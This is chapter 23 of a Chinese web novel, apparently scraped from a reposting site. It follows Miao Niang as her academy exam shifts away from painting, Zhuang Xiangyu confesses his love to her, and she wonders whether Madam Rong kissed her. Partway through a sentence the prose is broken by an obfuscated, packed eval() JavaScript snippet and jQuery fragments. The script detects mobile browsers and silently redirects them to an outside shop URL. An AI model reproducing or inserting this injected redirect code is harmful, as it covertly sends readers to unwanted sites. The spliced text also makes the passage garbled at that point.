23. 第 23 章

作品:《恶毒外室子的太子宠妾

    奇怪,容夫人是亲了她吗?


    昨夜里苗娘不老实,没听到自己想听的话就不停地在容夫人后背上挠痒般乱摸,却不想差点惹容夫人生气,是以在容夫人忍不住坐起身的时候立刻闭上了双眼装睡着了。


    她闭上了眼,是以不太清楚。只大约知道容夫人好像是碰到了她的唇,那柔软又冰凉的触感,是什么呢?


    是容夫人的唇吗?


    容夫人又为何要去亲她?


    苗娘想来想去,想不出容夫人有任何亲她的理由,是以只是摇摇头,把一团乱麻的思绪丢远,进了学堂。


    昨日因为被黎老先生撞见画的事,她都没上上课,今天估计又要跟不上了。


    苗娘撅了撅嘴,低着头小心翼翼地走到自己的位置上。


    “为何迟到?”黎老先生出言询问。


    苗娘一愣,看向站在前面的黎老先生有些摸不着头脑。


    若是她没记错的话,这节是曾夫子的丹青课啊,黎老先生怎么来了?


    她连忙回道:“学生一时忘了时间。”


    黎老先生点点头,没说什么,只是让她坐下,然后开始今天的授课。


    学堂内的其他姑娘小姐不由纷纷露出喜色,黎老先生往日确实也会在书院授课,却从未来过女学,只仅仅在前院教导过男子,如今能得他指导,也算是他半个学生了,出去也会被人高看一眼,真是意外之喜。


    吏部尚书家的大小姐沈开妍更是面上笑盈盈:“黎老先生为何突然来女学授课?”


    黎老先生笑得和蔼:“秋季考核一向以史学为重,作诗为辅,本次考核突然改变项目,老夫便来考前指导一番。”


    众人这才明白过来,投向苗娘的目光中都不由带上几分艳羡。


    苗娘心里直打鼓,忐忑起来。


    有黎老先生指导她自然高兴,可丹青可不是能两三天速成的,没有一定的天赋,她可学不来。


    却见黎老先生话音一转道:“只是丹青终究是小道,只考核丹青会显得我青山书院钟情小道,忽视正道。学子们爱画善画是好事,但更重要的是学习求真务实,为国为民的道理。”


    “是以三日后的考核,丹青只作为辅助参与考核,主要还是考核史学、文章与作诗。”


    闻言,苗娘的眼睛一下子亮了。


    她没看见坐在她身后的黎月琳脸上一瞬间沉下去的可怖表情,以及她眼底的黑云。


    焦虑这么多天的烦心事终于能放下了,苗娘学画也没了压力,认真起来,倒是能将范画临摹个七七八八了。


    晚间下学的时候,出学堂的步子都不由轻快了几分,快要离开书院大门时,一个声音在她身后唤:“何大小姐!何大小姐!”


    苗娘很少被人这样称呼,一时没意识到是在叫她,直到人跑到她跟前了她才反应过来。


    来人是庄相余,他气喘吁吁地跑了过来,在苗娘面前行了一礼:“何大小姐。”


    苗娘愣愣地回礼,有些摸不着头脑。


    却见庄相余脸上起了一抹红晕,低声道:“那日在鉴心池,相余见大小姐颇为感伤,十分心疼,恨不得以身代之,不知时到今日,大小姐可否开怀些了?”


    又为太子立了坟了了心事,又不用担忧考丹青不合格会被赶走,她自然是开怀些的。


    只是这和庄相余有什么关系?


    不过苗娘到底不是个不知好歹的人,既然庄相余关心,那她也不能忽略他的好意,是以她点点头回应。


    庄相余闻言眼里露出几分喜色,忍不住上前一步,压低了声音:“那便好,大小姐不知道,这些日子里,相余辗转反侧,实在担忧······”


    苗娘瞥了眼庄相余的面容,只觉得他精神焕发,光彩非凡,可不像是睡不着的模样。


    她咬咬唇,心中明白几分,隐约知道面前此人如此夸张作态,必是有事求她:“庄公子可是有事相求?”


    却不想她这话一出,面前人脸上露出一分薄怒,很是受伤道:“大小姐便是这样看我的?”


    “大小姐可知道,那日在何氏族学遥遥一见,相余便对大小姐一见倾心······”


    接下来的话苗娘记不住了,只知道他说自己即将参与秋季的会试,待考中贡士便会上门求娶订婚,再待明年春闱后努力科考,考出个状元风风光光地去娶她,给她个“状元娘子”的名头当当······


    她浑浑噩噩地坐上马车,一路上心中都是乱糟糟的。


    往日里,她虽在府中被关着管着,但她也大约也从丫鬟婆子的八卦中知道:何玉莲在族学有个倾心的庄公子,奈何那男子在别的书院读书,只初一、十五放假才归家,届时会到何族族学给曾考中过进士的父亲帮忙批阅卷子,指导一下何族子弟。


    是以何玉莲每每初一、十五才会如此积极去族学。


    她还知道,听闻那庄公子学问极好,很得将军看中,也默许何玉莲与那庄公子纠缠。


    她是知道何玉莲的,何玉莲什么都要最好的,能得她看中,庄公子也定然是个极好的人,极好的归宿。


    若是她能嫁给庄公子······


    苗娘捏着帕子的手指一点点用力,将指尖的帕子蹂躏成一团,她眼底暗了暗。


    既然庄公子是一个好归宿,那她绝对不能错过他!


    都说女子投胎是第二次嫁人,与其一直等待让老太太磋磨时光、让何玉莲从中作祟把她硬生生拖成老姑娘,倒不如让她主动选一个人出嫁!


    虽然前两次碰面,庄公子给她的感觉怪怪的,但——许是她误会了?


    许是因为他对她“一见倾心”,是以表现得才奇怪反常了些。


    苗娘一边为自己不会被困何府嫁不出去而松了口气,一边又觉得心头空荡荡的。


    为何,在听到庄公子说他对自己“一见倾心”时,她只是觉得惹了个大麻烦,只在心中一味地想——何玉莲定要气疯了。


    又为何,她听着庄公子跟她喋喋不休地诉衷肠时,她会如此不耐,且内心毫无波澜,只想着快快归家,好找容夫人打趣,问容夫人是不是偷偷亲了她?


    马车驶入何府,苗娘扶着芳娘下了车,远


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14616854|156168||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    远便听到何玉琢、何玉莲的笑闹声。


    她很是厌烦何玉莲总找她麻烦,但对着何玉琢,她是心虚的。


    他才十岁,出生当日便是生母孟氏的忌日,也就是苗娘生母害死他生母的日子。


    他自小被何将军一手养大,小小年纪就像个小大人般古板,老太太一见他,便心疼。


    早些年的时候他还不懂,瞧见她只以为她是丫鬟便让她陪着玩了一下午,被奶娘发现后狠狠拉走还好生哭了一通。


    后来他长大了,也懂了,便不再理她,仿佛她是个盘啊盏啊的物件,瞧见了跟没瞧见一样。


    直到那日在族学,他冷漠对待,苗娘这才明白过来,他是恨她的。


    他也该恨她。


    苗娘眼底黯了黯,有意避开,却又被何玉莲叫住。


    “你倒是好本事,”何玉莲哼哼,“竟然能将黎老先生引到府里,跟你那个下贱的娘一样会勾人。”


    苗娘有些生气,何玉莲骂她便骂了,把老师牵扯进来算什么?


    她冷冷道:“你是觉得老师师德有亏吗?”


    何玉莲哪里敢说黎老先生坏话,他曾是太子太傅,又掌管青山书院,是全天下人都敬仰的老师。


    何玉莲冷哼一声,却又笑了:“你别得意,爹爹也答应将我与玉琢送到青山书院了。”


    苗娘一愣,面上不由露出几分同情之色:“三日后便是秋季考核,若是不合格便是要被逐出书院的,要不,你三日后再去吧。”


    何玉莲才不信,只当她是在嫉妒自己也能去青山书院读书,冷哼道:“区区考核,我才不惧,你有这个心思还是关心关心你自己吧。”


    “你不过进书院十几天,能学到什么东西?怕是到了考核之日还什么都不会吧。”


    苗娘认为她说的有理,见她不信也没再和她争辩,转身进了梧桐堂的院子。


    十几天确实学不了太多东西,虽然青山书院每一季的考核考的只是上一季所学的内容,但那些文章可都是要背下来默写出来的。


    她才没空和何玉莲拌嘴呢!


    她跑到梧桐堂的书房内,端起桌上的茶盏牛饮一通,然后抹了抹额上的汗珠,讨好地对着容夫人笑笑。


    顾比荣摇摇头,指着案上的书冷声道:“这是青山书院十年来秋季考核的试题,这次有可能考到的内容我都圈出来了,你且好好看看。”


    容夫人认真讲题的时候声音冷冷的,如玉石清泉般,苗娘听着听着忍不住有些走神,目光停留在容夫人面纱上唇的位置。


    容夫人昨夜——是亲了她吗?


    看出她的走神,顾比荣皱眉,冷冷道:“我已求了黎老先生通融,让他不以丹青考核为主,若是这般你还是合格不了——那也没什么通融的余地了。”


    “你既不好好学,那以你现在的水准也不必去参加考核了。”


    苗娘连忙回过神来:“我学!我学!”


    她仔仔细细地看起题来,把那个似有若无的吻抛在脑后,也把那个烦心的庄公子丢在一旁。


    还是应付考核要紧!